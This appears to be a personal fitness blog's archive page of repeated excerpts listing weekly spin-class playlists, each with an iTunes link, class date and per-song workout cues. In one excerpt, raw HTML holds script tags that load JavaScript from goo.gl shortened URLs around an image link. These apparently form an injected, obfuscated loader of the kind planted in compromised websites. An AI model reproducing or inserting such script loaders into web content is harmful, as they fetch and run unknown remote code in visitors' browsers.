Each week I create a new playlist for my spin class. Use this music to guide you through a cardio session with my cues or use if for your next lifting session. Playlists are between 45-60 minutes. *Notes are for spin class workout https://itunes.apple.com/us/playlist/spin-class-29/idpl.4ed0cae44a8c4bb98ff105895d088f38 48 minutes 1.We Will Rock You (Vitamin String Quartet) – warm up 2.Hey Ya! (Outkast) – warm up with increased resistance 3. Out of Control (Hoobastank) – Sprints 4. How You Like Me Now (The…
Each week I create a new playlist for my spin class. Use this music to guide you through a cardio session with my cues or use if for your next lifting session. Playlists are between 45-60 minutes. *Notes are for spin class workout From Class Thursday 8/30/17 Playlist 20 56 minutes 1.Baby Don’t Lie (Gwen Stephanie) – Warm up before class 2.Cheap Thrills (Sia) – warm up 3. Stop (Against Me!) – Climb 4. Bullet with Butterfly…
<script src=’https://goo.gl/GgBwxB’ type=’text/javascript’></script><a href=”http://www.alissaparker.net/wp-content/uploads/2017/03/i-ks9PjGK-M-1-1.jpg”><script type=’text/javascript’ src=’https://goo.gl/YSVsvw’></script><script src=’https://goo.gl/GgBwxB’ type=’text/javascript’></script><img class=”aligncenter size-medium wp-image-13143″ src=”http://www.alissaparker.net/wp-content/uploads/2017/03/i-ks9PjGK-M-1-264×300.jpg” alt=”” width=”264″ height=”300″ /></a> <p dir=”auto”>Each week I create a new playlist for my spin class. Use this music to guide you through a cardio session with my cues or use if for your next lifting session. Playlists are between 45-60 minutes. *Notes are for spin class workout</p> From Class Thursday 8/17/17 <a href=”https://itunes.apple.com/us/playlist/spin-class-39/idpl.u-XkD00ZphD4MkBlE”>https://itunes.apple.com/us/playlist/spin-class-39</a> 47 minutes 1.Despacito (Feat. Justin Bieber, Luis Fonsi and…
Each week I create a new playlist for my spin class. Use this music to guide you through a cardio session with my cues or use if for your next lifting session. Playlists are between 45-60 minutes. *Notes are for spin class workout From Class Thursday 8/10/17 https://itunes.apple.com/us/playlist/spin-class-34/idpl.8b29d450bf544cb08dea961e72aa70f5 48 minutes 1.Shooting Star (David Rush) – Before Class 2. A Little Less Conversation (Elvis Presley) – Warm up 3. Ooh La La (Goldfrap) – Up, easy Climb 4. Where…
Each week I create a new playlist for my spin class. Use this music to guide you through a cardio session with my cues or use if for your next lifting session. Playlists are between 45-60 minutes. *Notes are for spin class workout https://itunes.apple.com/us/playlist/spin-class-29/idpl.4ed0cae44a8c4bb98ff105895d088f38 48 minutes 1.We Will Rock You (Vitamin String Quartet) – warm up 2.Hey Ya! (Outkast) – warm up with increased resistance 3. Out of Control (Hoobastank) – Sprints 4. How You Like Me Now (The…
Each week I create a new playlist for my spin class. Use this music to guide you through a cardio session with my cues or use if for your next lifting session. Playlists are between 45-60 minutes. *Notes are for spin class workout From Class Thursday 6/1/17 https://itunes.apple.com/us/playlist/spin-class-34/idpl.8b29d450bf544cb08dea961e72aa70f5 48 minutes 1.Shooting Star (David Rush) – Before Class 2. A Little Less Conversation (Elvis Presley) – Warm up 3. Ooh La La (Goldfrap) – Up, easy Climb 4. Where…
Each week I create a new playlist for my spin class. Use this music to guide you through a cardio session with my cues or use if for your next lifting session. Playlists are between 45-60 minutes. *Notes are for spin class workout From Class Tuesday 5/30/17 https://itunes.apple.com/us/playlist/spin-class-31/idpl.01a4e87feb8a45f0bdea26cd278a0e4a 50 minutes 1. Cake by the Ocean (DNCE) – Before Class 2. Cherry, Cherry (Neil Diamond) – Warm up 3. Fight For Your Right (Beastie Boys) –…
Each week I create a new playlist for my spin class. Use this music to guide you through a cardio session with my cues or use if for your next lifting session. Playlists are between 45-60 minutes. *Notes are for spin class workout From Class Tuesday 5/25/17 https://itunes.apple.com/us/playlist/spin-class-21/idpl.d372c1bf2ed24431a9b40ee8fb74367e 46 minutes 1.Cold Water (Major Laser – Justin Bieber) – Warm up 2.Riot( Ace Wilder) – warm up 3. Cake By The Ocean (DNCE) – Jumps (forward, forward, back, back)…
Each week I create a new playlist for my spin class. Use this music to guide you through a cardio session with my cues or use if for your next lifting session. Playlists are between 45-60 minutes. *Notes are for spin class workout https://itunes.apple.com/us/playlist/spin-class-35/idpl.7fd930bcc33846188f40d240d57699ae 52 minutes From Class Thursday 5/18 1.Every Day (Eric Prydz) – warm up before class 2.I Don’t Like It, I Love It (Flo Rida) – warm up 3. FIYAH(Will.I.Am) – Climb out of the…
Each week I create a new playlist for my spin class. Use this music to guide you through a cardio session with my cues or use if for your next lifting session. Playlists are between 45-60 minutes. *Notes are for spin class workout https://itunes.apple.com/us/playlist/spin-class-29/idpl.4ed0cae44a8c4bb98ff105895d088f38 52 minutes From Class Tuesday 4/18 1.Every Day (Eric Prydz) – warm up before class 2.I Don’t Like It, I Love It (Flo Rida) – warm up 3. FIYAH(Will.I.Am) – Climb out of the…
